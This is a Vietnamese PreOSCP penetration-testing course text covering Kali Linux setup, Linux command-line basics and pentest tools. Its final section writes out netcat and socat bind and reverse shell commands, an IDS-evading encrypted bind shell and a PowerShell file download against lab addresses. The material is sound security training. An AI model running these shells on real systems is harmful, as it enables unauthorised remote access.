Bài Giảng Theo Sách PreOSCP – Và Khóa Học Online Hacking Với Kali Linux 2025
PreOSCP Chương 1 Làm Chủ Kali Linux Hướng Dẫn Toàn Diện
Khám phá Kali Linux
Tài liệu này đóng vai trò là hướng dẫn giới thiệu toàn diện về Kali Linux, một bản phân phối Linux dựa trên Debian được thiết kế đặc biệt cho kiểm thử xâm nhập (pentesting), nghiên cứu bảo mật, pháp y máy tính và kỹ thuật đảo ngược. Tài liệu này hướng tới người dùng ở mọi cấp độ kỹ năng, từ người mới bắt đầu đến các chuyên gia nâng cao, nhấn mạnh tầm quan trọng của việc làm quen vững chắc với hệ thống trước khi đi sâu vào các mô-đun nâng cao.
1. Giới thiệu về Kali Linux
Kali Linux được công nhận là “bộ công cụ số 1 trong thế giới bảo mật thông tin”, được yêu thích bởi “các hacker và chuyên gia bảo mật hay cả các script kiddy”. Nó được phát triển, tài trợ và duy trì bởi Offensive Security. Hệ điều hành này bao gồm “hàng trăm công cụ hướng đến các nhiệm vụ bảo mật thông tin khác nhau”, bao gồm:
- Metasploit: Để kiểm tra khả năng xâm nhập mạng.
- Nmap: Để quét cổng và lỗ hổng.
- Wireshark: Để theo dõi lưu lượng mạng.
- Aircrack-ng: Để kiểm tra tính bảo mật của các mạng không dây.
Tài liệu nhấn mạnh rằng “Tất cả các chương trình được đóng gói với hệ điều hành đã được đánh giá về tính phù hợp và hiệu quả.”
2. Bắt đầu với Kali Linux
2.1 Khởi động Kali Linux
Để bắt đầu, người dùng nên tải xuống “máy ảo Kali Linux 64-bit (amd64) VMware virtual machine (VM)” và phần mềm VMware. Tài liệu khuyến nghị sử dụng VMware WorkStation Pro hoặc VMware Fusion (có phiên bản dùng thử miễn phí) vì khả năng tạo ảnh chụp nhanh (snapshot), cho phép người dùng “đặt lại máy ảo của mình về một phương tiện chặn sạch”. Phiên bản miễn phí, VMware WorkStation Player, không có chức năng này.
Điều quan trọng là phải sử dụng bản dựng tiêu chuẩn của máy ảo Kali Linux để đảm bảo tính nhất quán với tài liệu đào tạo. Người dùng cũng được khuyên nên “luôn dành thời gian để xác minh chính xác bất kỳ tệp nào bạn tải xuống trước khi sử dụng” từ trang web hỗ trợ Offensive Security để tránh rủi ro bảo mật.
Sau khi giải nén kho lưu trữ, mở tệp .vmx bằng VMware và chọn “Tôi đã sao chép nó” để tạo địa chỉ MAC ảo mới.
Thông tin đăng nhập mặc định và bảo mật:
- Tên người dùng: kali
- Mật khẩu: kali
Tài liệu cảnh báo mạnh mẽ về việc thay đổi mật khẩu mặc định ngay lập tức: “Trong lần khởi động đầu tiên, điều quan trọng là phải thay đổi tất cả mật khẩu mặc định từ một thiết bị đầu cuối bằng lệnh passwd.” Không làm như vậy sẽ “đảm bảo hành vi lạm dụng một cách nghịch ngợm!” Người dùng cũng nên tránh đăng nhập với tư cách người dùng root do các rủi ro bảo mật liên quan đến quyền truy cập không hạn chế. Thay vào đó, sử dụng tài khoản kali và lệnh sudo để thực thi các lệnh yêu cầu đặc quyền nâng cao.
Ví dụ thay đổi mật khẩu:
kali@kali:~$ passwd
Changing password for kali.
(current) UNIX password:
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Ví dụ sử dụng sudo:
kali@kali:~$ whoami
kali
kali@kali:~$ sudo whoami
[sudo] password for kali:
root
Khuyến nghị sử dụng tính năng ảnh chụp nhanh của VMware thường xuyên để có thể “hoàn nguyên hoặc đặt lại máy ảo về một phương tiện chặn rõ ràng”, giúp tiết kiệm thời gian và tránh thất vọng khi có sự cố.
2.2 Menu Kali
Menu Kali Linux cung cấp các liên kết được phân loại đến các công cụ khác nhau, giúp làm rõ vai trò và ngữ cảnh sử dụng của chúng. Người dùng được khuyến khích dành thời gian để điều hướng menu và làm quen với các công cụ có sẵn.
2.3 Tài liệu Kali
Do Kali Linux là một hệ điều hành toàn diện, có nhiều tài nguyên chính thức có sẵn để nghiên cứu và học tập thêm:
- The Kali Linux Official Documentation (Kali Docs): Kho tài liệu chính thức, điểm dừng đầu tiên để khắc phục sự cố và hỗ trợ.
- The Kali Linux Support Forum: Để khắc phục sự cố và hỗ trợ, người dùng nên tìm kiếm các giải pháp đã đăng trước đó trước khi tạo chủ đề mới.
- The Kali Linux Tools Site: Liệt kê tất cả các công cụ kiểm thử xâm nhập, cung cấp tài liệu tham khảo nhanh và theo dõi các phiên bản công cụ. Nó cũng cho phép cài đặt các tập hợp con cụ thể của công cụ thông qua metapackages.
- The Kali Linux Bug Tracker: Để xác định và báo cáo lỗi với các công cụ.
- The Kali Training Site: Cung cấp khóa đào tạo và hướng dẫn sử dụng Kali Linux chính thức miễn phí, dựa trên sách “Kali Linux Revealed”, bao gồm các bài tập, diễn đàn hỗ trợ, v.v.
2.4 Tìm hiểu cách sử dụng Kali
2.4.1 Hệ thống tệp Linux
Kali Linux tuân theo Tiêu chuẩn phân cấp hệ thống tệp (FHS), cung cấp bố cục quen thuộc cho người dùng Linux. Các thư mục hữu ích nhất bao gồm:
- /bin: các chương trình cơ bản (ls, cd, cat, v.v.)
- /sbin: các chương trình hệ thống (fdisk, mkfs, sysctl, v.v.)
- /etc: các tệp cấu hình
- /tmp: các tệp tạm thời (thường bị xóa khi khởi động)
- /usr/bin: các ứng dụng (apt, ncat, nmap, v.v.)
- /usr/share: hỗ trợ ứng dụng và tệp dữ liệu
2.4.2 Các lệnh Linux cơ bản
Tài liệu giới thiệu một số lệnh Linux cơ bản:
- Man Page (man): Để xem tài liệu chính thức cho hầu hết các chương trình dòng lệnh. man cung cấp tên, tóm tắt, mô tả và các tùy chọn cho một lệnh. Để tìm kiếm từ khóa, sử dụng man -k [từ khóa]. Để thu hẹp tìm kiếm, sử dụng biểu thức chính quy (man -k ‘^passwd$’). Để xem một phần cụ thể của sổ tay, sử dụng man [phần] [tên].
- Các phần của Man Page:User Commands
- Programming interfaces for kernel system calls
- Programming interfaces to the C library
- Special files such as device nodes and drivers
- File formats
- Games and amusements such as screen-savers
- Miscellaneous
- System administration commands
- apropos: Tương đương với man -k, tìm kiếm danh sách mô tả trang man để tìm kết quả phù hợp dựa trên từ khóa. Ví dụ: apropos partition.
- Listing Files (ls): In ra danh sách tệp.
- ls -a: Hiển thị tất cả các tệp (bao gồm cả tệp ẩn).
- ls -1: Hiển thị mỗi tệp trên một dòng (hữu ích cho tự động hóa).
- Moving Around (cd, pwd):
- cd [đường dẫn]: Thay đổi thư mục.
- pwd: In ra thư mục hiện tại.
- cd ~: Quay lại thư mục chính.
- Creating Directories (mkdir):
- mkdir [tên thư mục]: Tạo thư mục. Nên sử dụng dấu gạch ngang hoặc dấu gạch dưới thay vì dấu cách trong tên thư mục.
- mkdir -p [đường dẫn]/{dir1,dir2}: Tạo nhiều thư mục cùng một lúc, bao gồm cả thư mục cha nếu cần. Ví dụ: mkdir -p test/{recon,exploit,report}.
2.4.3 Tìm tệp trong Kali Linux
Ba lệnh phổ biến để định vị tệp:
- which: Tìm kiếm thông qua các thư mục trong biến môi trường $PATH cho một tên tệp nhất định và trả về đường dẫn đầy đủ.
- echo $PATH
- which sbd
- locate: Cách nhanh nhất để tìm tệp và thư mục bằng cách tìm kiếm cơ sở dữ liệu locate.db được tích hợp sẵn (thay vì toàn bộ đĩa cứng). Cơ sở dữ liệu này được cập nhật tự động nhưng có thể cập nhật thủ công bằng sudo updatedb.
- locate sbd.exe
- find: Công cụ tìm kiếm phức tạp và linh hoạt nhất. Có thể tìm kiếm theo tên, tuổi, kích thước, chủ sở hữu, loại tệp, dấu thời gian, quyền, v.v.
- sudo find / -name sbd*
2.5 Quản lý dịch vụ Kali Linux
Kali Linux được cấu hình để ngăn các dịch vụ mạng khởi động theo mặc định vì lý do bảo mật, mặc dù nó đi kèm với một số dịch vụ được cài đặt sẵn như SSH, HTTP, MySQL.
- Dịch vụ SSH (Secure SHell): Được sử dụng để truy cập từ xa an toàn qua cổng 22 (mặc định).
- Bắt đầu dịch vụ: sudo systemctl start ssh
- Xác minh dịch vụ đang chạy: sudo ss -antlp | grep sshd
- Bật khởi động cùng hệ thống: sudo systemctl enable ssh (Nhớ thay đổi mật khẩu mặc định trước).
- Dịch vụ HTTP (Apache): Thường được sử dụng trong kiểm thử xâm nhập để lưu trữ trang web hoặc cung cấp nền tảng tải tệp xuống máy nạn nhân. Lắng nghe trên cổng 80 (mặc định).
- Bắt đầu dịch vụ: sudo systemctl start apache2
- Xác minh dịch vụ đang chạy: sudo ss -antlp | grep apache
- Bật khởi động cùng hệ thống: sudo systemctl enable apache2
Hầu hết các dịch vụ trong Kali Linux được quản lý bằng systemctl. Để xem tất cả các dịch vụ có sẵn, sử dụng systemctl list-unit-files.
2.6 Tìm kiếm, cài đặt và xóa công cụ
Tài liệu tập trung vào bộ công cụ Advanced Package Tool (APT) để quản lý gói trên Kali Linux, do nó dựa trên Debian.
- apt update: Cập nhật thông tin gói được lưu trong bộ nhớ cache cục bộ. Nên chạy lệnh này thường xuyên.
- sudo apt update
- apt upgrade: Nâng cấp các gói và hệ thống lõi đã cài đặt lên phiên bản mới nhất.
- apt upgrade
- apt upgrade [tên gói] (để nâng cấp một gói duy nhất) Người dùng nên tạo ảnh chụp nhanh máy ảo ở trạng thái sạch trước khi nâng cấp.
- apt-cache search và apt show:
- apt-cache search [từ khóa]: Tìm kiếm các gói trong kho lưu trữ Kali Linux. Tìm kiếm dựa trên từ khóa trong mô tả gói chứ không chỉ tên gói.
- apt show [tên gói]: Hiển thị thông tin chi tiết về một gói cụ thể, làm rõ lý do một gói có thể xuất hiện trong kết quả tìm kiếm.
- apt install: Cài đặt một gói vào hệ thống.
- sudo apt install [tên gói]
- apt remove –purge: Xóa hoàn toàn các gói khỏi Kali.
- apt remove [tên gói]: Xóa dữ liệu gói nhưng giữ lại các tệp cấu hình người dùng.
- apt remove –purge [tên gói]: Xóa tất cả “thức ăn thừa”, bao gồm cả các tệp cấu hình.
- dpkg: Công cụ cốt lõi để cài đặt một gói trực tiếp hoặc gián tiếp, đặc biệt hữu ích khi hoạt động ngoại tuyến vì nó không yêu cầu kết nối Internet. Tuy nhiên, dpkg sẽ không cài đặt bất kỳ phụ thuộc nào của gói.
- sudo dpkg -i [đường dẫn_tới_tệp_.deb]
3. Kết luận và Tài nguyên bổ sung
Mô-đun này thiết lập nền tảng cho các mô-đun sắp tới, bao gồm các mẹo và thủ thuật cho người dùng mới cũng như các tiêu chuẩn cho người dùng nâng cao.
Tất cả học viên PreOSCP được khuyến khích xem lại khóa đào tạo trực tuyến miễn phí trên Kali Training site, bao gồm sách “Kali Linux Revealed”, các bài tập, và diễn đàn hỗ trợ. Đối với chương trình của Security365, học viên nên xem khóa học tiếng Việt “Hacking Với Kali Linux Cơ Bản” trên LMS Stream.
Tài liệu cũng cung cấp các liên kết tham khảo:
- PreOSCP_(PWK v1) Lesson_1.1-Finding Your Way Around Kali: https://bit.ly/2T7zOc0
- PreOSCP_(PWK v2) 01_Lesson_1.1-2.5 Managing Kali Linux Services: https://bit.ly/3w7jNBr
- Hướng dẫn chạy Parrot OS trong CEH v11: https://www.youtube.com/watch?v=HyaQuIm-oPU
- Cài đặt Nessus trên Kali: https://www.youtube.com/watch?v=jtDSRjySjVk
PreOSCP Chương 2 Khám Phá Dòng Lệnh Linux
Cẩm Nang Dòng Lệnh Linux: Từ Bash Đến Tùy Chỉnh
Tài liệu tóm tắt này cung cấp một cái nhìn tổng quan chi tiết về các khái niệm và công cụ dòng lệnh Linux chính được trình bày trong các tài liệu nguồn. Nó bao gồm các chủ đề từ môi trường Bash, xử lý văn bản, quản lý quy trình, giám sát tệp và lệnh, tải xuống tệp, đến tùy chỉnh môi trường Bash.
1. Môi trường Bash
Bash là một trình bao tương thích với sh cho phép thực hiện các lệnh phức tạp và tác vụ khác nhau từ cửa sổ đầu cuối. Nó kết hợp các tính năng từ KornShell (ksh) và C shell (csh).
1.1 Biến môi trường
Biến môi trường là một dạng lưu trữ chung cho các cài đặt khác nhau được kế thừa bởi bất kỳ ứng dụng nào chạy trong phiên đầu cuối.
- PATH: Một biến môi trường được tham chiếu phổ biến, là danh sách các đường dẫn thư mục được phân tách bằng dấu hai chấm mà Bash sẽ tìm kiếm khi một lệnh được chạy mà không có đường dẫn đầy đủ.
- Ví dụ: kali@kali:~$ echo $PATH
- Các biến hữu ích khác: USER, PWD, HOME.
- Ví dụ: kali@kali:~$ echo $USER hiển thị tên người dùng hiện tại.
- Xác định biến môi trường: Lệnh export được sử dụng để xác định biến môi trường, làm cho chúng có thể truy cập được cho bất kỳ tiến trình con nào.
- Ví dụ: kali@kali:~$ export b=10.11.1.220
- Xem tất cả các biến môi trường: Lệnh env hiển thị tất cả các biến môi trường được xác định theo mặc định.
- Ví dụ: kali@kali:~$ env
1.2 Tự động hoàn thành bằng phím Tab
Tính năng tự động hoàn thành của Bash shell cho phép người dùng hoàn thành tên tệp và đường dẫn thư mục bằng phím TAB, tăng tốc độ sử dụng shell.
- Ví dụ: kali@kali:~$ ls D[TAB] sẽ gợi ý các thư mục bắt đầu bằng ‘D’.
1.3 Mẹo lịch sử Bash
Bash duy trì lịch sử các lệnh đã nhập, có thể hiển thị bằng lệnh history.
- Hiển thị lịch sử: kali@kali:~$ history
- Chạy lại lệnh từ lịch sử: Sử dụng ! theo sau là số dòng của lệnh.
- Ví dụ: kali@kali:~$ !1 để chạy lại lệnh đầu tiên.
- Lặp lại lệnh cuối cùng: Sử dụng !! để lặp lại lệnh cuối cùng đã thực thi.
- Ví dụ: kali@kali:~$ sudo systemctl restart apache2 sau đó kali@kali:~$ !!
- Kiểm soát kích thước lịch sử: Các biến môi trường HISTSIZE (số lượng lệnh trong bộ nhớ cho phiên hiện tại) và HISTFILESIZE (số lượng lệnh trong tệp lịch sử) kiểm soát kích thước lịch sử.
- Duyệt lịch sử:Ctrl+R kích hoạt reverse-i-search để tìm kiếm lệnh trong lịch sử.
- Ví dụ: kali@kali:~$ [CTRL-R]c sẽ tìm kiếm các lệnh chứa ‘c’.
2. Định tuyến và Chuyển hướng
Mỗi chương trình dòng lệnh có ba luồng dữ liệu: Standard Input (STDIN), Standard Output (STDOUT) và Standard Error (STDERR).
- STDIN (0): Dữ liệu đầu vào cho chương trình.
- STDOUT (1): Đầu ra từ chương trình (mặc định đến terminal).
- STDERR (2): Thông báo lỗi (mặc định đến terminal).
2.1 Chuyển hướng đến một tệp mới
Sử dụng toán tử > để lưu kết quả đầu ra vào một tệp. Nếu tệp không tồn tại, nó sẽ được tạo. Nếu tệp đã tồn tại, nội dung của nó sẽ bị ghi đè.
- Ví dụ: kali@kali:~$ echo “test” > redirection_test.txt
2.2 Chuyển hướng đến một tệp hiện có
Sử dụng toán tử >> để nối dữ liệu vào cuối tệp hiện có mà không ghi đè.
- Ví dụ: kali@kali:~$ echo “that is maintained and funded by Offensive Security” >> redirection_test.txt
2.3 Chuyển hướng từ một tệp
Sử dụng toán tử < để gửi dữ liệu từ một tệp làm đầu vào cho một lệnh.
- Ví dụ: kali@kali:~$ wc -m < redirection_test.txt
2.4 Chuyển hướng STDERR
Chuyển hướng thông báo lỗi (STDERR) bằng cách thêm số bộ mô tả tệp 2 trước toán tử >.
- Ví dụ: kali@kali:~$ ls ./test 2>error.txt
2.5 Piping
Sử dụng toán tử | để chuyển hướng đầu ra của một lệnh làm đầu vào cho lệnh khác.
- Ví dụ: kali@kali:~$ cat error.txt | wc -m
3. Tìm kiếm và Thao tác văn bản
Phần này giới thiệu các lệnh grep, sed, cut và awk để xử lý tệp và văn bản. Kiến thức về biểu thức chính quy (regex) là cần thiết cho việc sử dụng nâng cao các công cụ này.
3.1 grep
grep tìm kiếm các tệp văn bản để tìm các lần xuất hiện của một biểu thức chính quy nhất định và xuất ra bất kỳ dòng nào chứa kết quả khớp.
- -r: Tìm kiếm đệ quy.
- -i: Bỏ qua chữ hoa chữ thường.
- Ví dụ: kali@kali:~$ ls -la /usr/bin | grep zip
3.2 sed
sed là một trình chỉnh sửa luồng mạnh mẽ thực hiện chỉnh sửa văn bản trên một luồng, một tập hợp các tệp cụ thể hoặc đầu ra tiêu chuẩn.
- Ví dụ: kali@kali:~$ echo “I need to try hard” | sed ‘s/hard/harder/’ thay thế “hard” bằng “harder”.
3.3 cut
cut được sử dụng để trích xuất một phần văn bản từ một dòng.
- -f: Chỉ định số trường cần cắt.
- -d: Chỉ định dấu phân cách trường.
- Ví dụ: kali@kali:~$ echo “I hack binaries,web apps,mobile apps, and just about anything else” | cut -f 2 -d “,”
3.4 awk
awk là một ngôn ngữ lập trình được thiết kế để xử lý văn bản, thường được sử dụng làm công cụ báo cáo và trích xuất dữ liệu. Nó linh hoạt hơn cut khi xử lý các dấu phân cách trường.
- -F: Chỉ định dấu phân cách trường.
- print: Xuất ra văn bản kết quả.
- Ví dụ: kali@kali:~$ echo “hello::there::friend” | awk -F “::” ‘{print $1, $3}’
3.5 Ví dụ thực tế
Một ví dụ thực tế minh họa việc kết hợp các lệnh này để phân tích tệp nhật ký Apache, tìm địa chỉ IP và các tài nguyên mà chúng truy cập.
- Giải nén tệp: kali@kali:~$ gunzip access_log.txt.gz
- Đếm số dòng: kali@kali:~$ wc -l access.log
- Tìm các địa chỉ IP duy nhất: kali@kali:~$ cat access.log | cut -d ” ” -f 1 | sort -u
- Đếm số lần xuất hiện của mỗi IP: kali@kali:~$ cat access.log | cut -d ” ” -f 1 | sort | uniq -c | sort -urn
- Kiểm tra tài nguyên được truy cập bởi một IP cụ thể: kali@kali:~$ cat access.log | grep ‘208.68.234.99’ | cut -d “\”” -f 2 | uniq -c
4. Chỉnh sửa tệp từ dòng lệnh
Mặc dù các trình soạn thảo đồ họa tồn tại, việc sử dụng trình soạn thảo dựa trên văn bản trong terminal rất quan trọng trong môi trường Linux, đặc biệt là trong kiểm tra thâm nhập.
4.1 nano
Nano là một trong những trình soạn thảo văn bản dễ sử dụng nhất.
- Mở tệp: kali@kali:~$ nano intro_to_nano.txt
- Lệnh phổ biến: Ctrl O (ghi thay đổi), Ctrl K (cắt dòng), Ctrl U (dán), Ctrl W (tìm kiếm), Ctrl X (thoát).
4.2 vi
Vi là một trình soạn thảo văn bản cực kỳ mạnh mẽ với đường cong học tập dốc.
- Mở tệp: kali@kali:~$ vi intro_to_vi.txt
- Chế độ chèn: Nhấn I để bắt đầu nhập.
- Chế độ lệnh: Nhấn Esc để quay lại chế độ lệnh.
- Lệnh phổ biến (trong chế độ lệnh): dd (xóa dòng), yy (sao chép dòng), p (dán), x (xóa ký tự), :w (ghi tệp), :q! (thoát mà không ghi), :wq (lưu và thoát).
5. So sánh tệp
So sánh tệp là một kỹ năng quan trọng đối với các chuyên gia kỹ thuật.
5.1 comm
Lệnh comm so sánh hai tệp văn bản, hiển thị các dòng duy nhất cho mỗi tệp và các dòng chúng có điểm chung.
- Đầu ra có ba cột: dòng duy nhất tệp 1, dòng duy nhất tệp 2, dòng chung.
- -n: Loại bỏ cột thứ n.
- Ví dụ: kali@kali:~$ comm scan-a.txt scan-b.txt
5.2 diff
Lệnh diff phát hiện sự khác biệt giữa các tệp và hỗ trợ nhiều định dạng đầu ra, bao gồm context format (-c) và unified format (-u).
- -: Dòng xuất hiện trong tệp đầu tiên nhưng không có trong tệp thứ hai.
- +: Dòng xuất hiện trong tệp thứ hai nhưng không có trong tệp đầu tiên.
- Ví dụ: kali@kali:~$ diff -u scan-a.txt scan-b.txt
5.3 vimdiff
vimdiff mở vim với nhiều tệp, mỗi tệp trong một cửa sổ, làm nổi bật sự khác biệt để dễ dàng kiểm tra trực quan.
- Lệnh hữu ích: do (nhận thay đổi từ cửa sổ khác), dp (đặt thay đổi vào cửa sổ khác), ]c (chuyển đến thay đổi tiếp theo), [c (chuyển đến thay đổi trước đó), Ctrl W (chuyển sang cửa sổ khác).
- Ví dụ: kali@kali:~$ vimdiff scan-a.txt scan-b.txt
6. Quản lý tiến trình
Hạt nhân Linux quản lý đa nhiệm thông qua các tiến trình, mỗi tiến trình được gán một ID tiến trình (PID). Linux shell cũng giới thiệu khái niệm công việc để giảm bớt quy trình làm việc.
6.1 Các tiến trình nền (bg)
Chạy một tiến trình ở chế độ nền để giải phóng terminal bằng cách thêm dấu & vào cuối lệnh hoặc sử dụng Ctrl Z để tạm dừng và sau đó bg để tiếp tục ở chế độ nền.
- Ví dụ: kali@kali:~$ ping -c 400 localhost > ping_results.txt &
- Ví dụ: kali@kali:~$ ping -c 400 localhost > ping_results.txt sau đó Ctrl Z và kali@kali:~$ bg
6.2 Kiểm soát công việc: jobs và fg
- jobs: Liệt kê các công việc đang chạy trong phiên terminal hiện tại.
- Ví dụ: kali@kali:~$ jobs
- fg: Đưa một công việc từ nền ra phía trước.
- %Number: Tham chiếu đến số công việc (ví dụ: %1).
- %String: Tham chiếu đến tên lệnh.
- %+ hoặc %%: Tham chiếu đến công việc hiện tại.
- %-: Tham chiếu đến công việc trước đó.
- Ví dụ: kali@kali:~$ fg %1
6.3 Kiểm soát tiến trình: ps và kill
- ps: Liệt kê các tiến trình trên toàn hệ thống (không chỉ cho phiên terminal hiện tại).
- -e: Chọn tất cả các tiến trình.
- -f: Hiển thị danh sách định dạng đầy đủ (UID, PID, PPID, v.v.).
- -C: Chọn theo tên lệnh.
- Ví dụ: kali@kali:~$ ps -ef hoặc kali@kali:~$ ps -fC leafpad
- kill: Gửi một tín hiệu cụ thể đến một tiến trình, mặc định là SIGTERM (yêu cầu kết thúc).
- Ví dụ: kali@kali:~$ kill 1307
7. Giám sát tệp và lệnh
Theo dõi tệp và lệnh trong thời gian thực là rất có giá trị trong kiểm tra thâm nhập.
7.1 tail
Sử dụng phổ biến nhất là theo dõi các mục nhập tệp nhật ký khi chúng đang được ghi.
- -f (follow): Liên tục cập nhật đầu ra khi tệp phát triển.
- -nX: Xuất ra X dòng cuối cùng.
- Ví dụ: kali@kali:~$ sudo tail -f /var/log/apache2/access.log
7.2 watch
Lệnh watch được sử dụng để chạy một lệnh được chỉ định trong các khoảng thời gian đều đặn.
- -n X: Chạy mỗi X giây.
- Ví dụ: kali@kali:~$ watch -n 5 w (hiển thị người dùng đã đăng nhập mỗi 5 giây).
- Thoát bằng Ctrl C.
8. Tải xuống tệp
Các công cụ dòng lệnh để tải xuống tệp.
8.1 wget
Tải xuống tệp bằng giao thức HTTP/HTTPS và FTP.
- -O: Lưu tệp đích với tên khác.
- Ví dụ: kali@kali:~$ wget -O report_wget.pdf https://www.offensive-security.com/reports/penetration-testing-sample-report-2013.pdf
8.2 curl
Một công cụ để truyền dữ liệu đến hoặc từ một máy chủ bằng nhiều giao thức.
- -o: Lưu tệp.
- Ví dụ: kali@kali:~$ curl -o report.pdf https://www.offensive-security.com/reports/penetration-testing-sample-report-2013.pdf
8.3 axel
Một trình tăng tốc tải xuống truyền tệp qua nhiều kết nối.
- -n: Chỉ định số lượng kết nối.
- -a: Chỉ báo tiến trình ngắn gọn hơn.
- -o: Chỉ định tên tệp khác.
- Ví dụ: kali@kali:~$ axel -a -n 20 -o report_axel.pdf https://www.offensive-security.com/reports/penetration-testing-sample-report-2013.pdf
9. Tùy chỉnh môi trường Bash
9.1 Tùy chỉnh lịch sử Bash
Các biến môi trường có thể thay đổi cách lệnh history hoạt động.
- HISTCONTROL: Xác định có nên xóa các lệnh trùng lặp hoặc các lệnh bắt đầu bằng dấu cách khỏi lịch sử hay không.
- Ví dụ: kali@kali:~$ export HISTCONTROL=ignoredups
- HISTIGNORE: Lọc ra các lệnh cơ bản thường xuyên chạy.
- Ví dụ: kali@kali:~$ export HISTIGNORE=”&:ls:[bf]g:exit:history”
- HISTTIMEFORMAT: Kiểm soát dấu ngày và/hoặc thời gian trong đầu ra của lệnh history.
- Ví dụ: kali@kali:~/test$ export HISTTIMEFORMAT=’%F %T ‘
9.2 Alias (Bí danh)
Bí danh là một chuỗi do người dùng định nghĩa thay thế tên lệnh hoặc một chuỗi lệnh dài hơn.
- Ví dụ: kali@kali:~$ alias lsa=’ls -la’
- Xem danh sách bí danh: kali@kali:~$ alias
- Bỏ đặt bí danh: kali@kali:~$ unalias mkdir
9.3 Tùy chỉnh Bash liên tục
Hành vi của Bash có thể được tùy chỉnh thông qua tệp .bashrc nằm trong thư mục chính của người dùng. Tập lệnh .bashrc được thực thi bất cứ lúc nào người dùng đăng nhập.
- Các biến như HISTSIZE và HISTFILESIZE, cũng như các bí danh, có thể được định cấu hình tại đây để duy trì giữa các phiên.
- Ví dụ: kali@kali:~$ cat ~/.bashrc
10. Tổng kết
Mô-đun này đã thảo luận về một số chương trình dòng lệnh phổ biến của Linux, cung cấp nền tảng vững chắc cho việc thực hành và hiểu sâu hơn về môi trường dòng lệnh trong Kali Linux.
Công Cụ Kiểm Thử Xâm Nhập Thiết Yếu
Tài liệu này cung cấp một cái nhìn tổng quan chi tiết về các công cụ thực tế thiết yếu cho kiểm thử xâm nhập, đặc biệt trong các tình huống mà các công cụ duy nhất có sẵn là những công cụ được cài đặt sẵn trên máy mục tiêu hoặc khi cần chuyển các tệp nhỏ. Các công cụ được đề cập bao gồm Netcat, Socat, PowerShell, Wireshark và Tcpdump.
Các Chủ Đề Chính và Ý Tưởng Quan Trọng
1. Netcat: “Dao Quân Đội Thụy Sĩ” của Hacker
Netcat là một công cụ kiểm thử xâm nhập mạng “nguyên bản” và cực kỳ linh hoạt, được tác giả gọi là “dao quân đội Thụy Sĩ” của hacker. Nó được định nghĩa là một tiện ích “đơn giản đọc và ghi dữ liệu qua các kết nối mạng, sử dụng giao thức TCP hoặc UDP.” (Nguồn: 4.1 Netcat).
- Chế độ Client (Connecting to a TCP/UDP Port):
- Kiểm tra xem một cổng đang mở hay đóng.
- Đọc biểu ngữ của dịch vụ đang lắng nghe trên một cổng (banner grabbing).
- Kết nối thủ công với dịch vụ mạng.
- Ví dụ: nc -nv 10.11.0.22 110 để kiểm tra cổng POP3.
- Chế độ Listener (Listening on a TCP/UDP Port):
- Hữu ích cho việc gỡ lỗi mạng của các ứng dụng khách hoặc nhận kết nối mạng TCP/UDP.
- Ví dụ: nc -nlvp 4444 để thiết lập một trình lắng nghe.
- Chuyển tệp (Transferring Files with Netcat):
- Có thể gửi cả tệp văn bản và tệp nhị phân giữa các máy tính.
- Ví dụ: Thiết lập lắng nghe nc -nlvp 4444 > incoming.exe trên Windows để nhận tệp và nc -nv 10.11.0.22 4444 < /path/to/file.exe trên Kali để gửi tệp.
- Quản trị từ xa (Remote Administration with Netcat):
- Bind Shell: Sử dụng tùy chọn -e để thực thi một chương trình (ví dụ: cmd.exe) sau khi kết nối thành công, liên kết chương trình đó với một cổng cục bộ. Bất kỳ ai kết nối đến cổng này sẽ được hiển thị với dấu nhắc lệnh của máy mục tiêu. (Nguồn: 4.1.4.1 Netcat Bind Shell Scenario).
- Ví dụ trên Windows: nc -nlvp 4444 -e cmd.exe
- Reverse Shell: Máy mục tiêu chủ động gửi một trình bao lệnh đến một máy chủ đang lắng nghe. Hữu ích khi máy mục tiêu nằm sau NAT hoặc tường lửa chặn các kết nối đến. (Nguồn: 4.1.4.2 Reverse Shell Scenario).
- Ví dụ trên Windows (listener): nc -nlvp 4444
- Ví dụ trên Linux (sender): nc -nv 10.11.0.22 4444 -e /bin/bash
- Reverse shells thường dễ khắc phục sự cố hơn khi tường lửa dựa trên máy chủ chặn truy cập vào bind shells.
2. Socat: Netcat với các Tính năng Bổ sung
Socat là một tiện ích dòng lệnh thiết lập hai luồng byte hai chiều và truyền dữ liệu giữa chúng. Nó tương tự như Netcat nhưng có thêm các tính năng hữu ích. (Nguồn: 4.2 Socat).
- So sánh với Netcat: Cú pháp tương tự nhưng Socat yêu cầu – để tương tác bàn phím và chỉ định giao thức (ví dụ: TCP4). Cần sudo để lắng nghe trên các cổng dưới 1024.
- Kết nối: socat – TCP4:<remote server’s ip address>:80
- Lắng nghe: sudo socat TCP4-LISTEN:443 STDOUT
- Chuyển tệp (Socat File Transfers):
- Thiết lập chia sẻ tệp trên Alice (Linux): sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt
- Nhận tệp trên Bob (Windows): socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create
- Reverse Shells (Socat Reverse Shells):
- Bob (Windows) lắng nghe: socat -d -d TCP4-LISTEN:443 STDOUT
- Alice (Linux) gửi shell: socat TCP4:10.11.0.22:443 EXEC:/bin/bash
- Encrypted Bind Shells (Socat Encrypted Bind Shells):
- Sử dụng chứng chỉ SSL để mã hóa, giúp trốn tránh IDS và ẩn dữ liệu nhạy cảm.
- Tạo chứng chỉ tự ký bằng openssl req và kết hợp chúng vào tệp .pem.
- Alice (Linux) tạo encrypted bind shell: sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
- Bob (Windows) kết nối: socat – OPENSSL:10.11.0.4:443,verify=0
3. PowerShell và Powercat: Sức Mạnh của Windows
PowerShell là một trình bao dòng lệnh và ngôn ngữ kịch bản dựa trên tác vụ, được thiết kế cho quản trị hệ thống và người dùng thành thạo. Nó được cài đặt theo mặc định trên các phiên bản Windows hiện đại. (Nguồn: 4.3 PowerShell và Powercat).
- Chính sách Thực thi: Mặc định là “Restricted”. Cần đặt “Unrestricted” để chạy các script PowerShell.
- Set-ExecutionPolicy Unrestricted
- Chuyển tệp (PowerShell File Transfers):
- Sử dụng System.Net.WebClient để tải tệp.
- Ví dụ: powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.11.0.4/wget.exe’,’C:\Users\offsec\Desktop\wget.exe’)”
- Reverse Shell (PowerShell Reverse Shell):
- Sử dụng System.Net.Sockets.TCPClient để thiết lập kết nối và Invoke-Expression (iex) để thực thi lệnh từ xa.
- Mã PowerShell phức tạp hơn nhưng có thể được rút gọn thành một dòng.
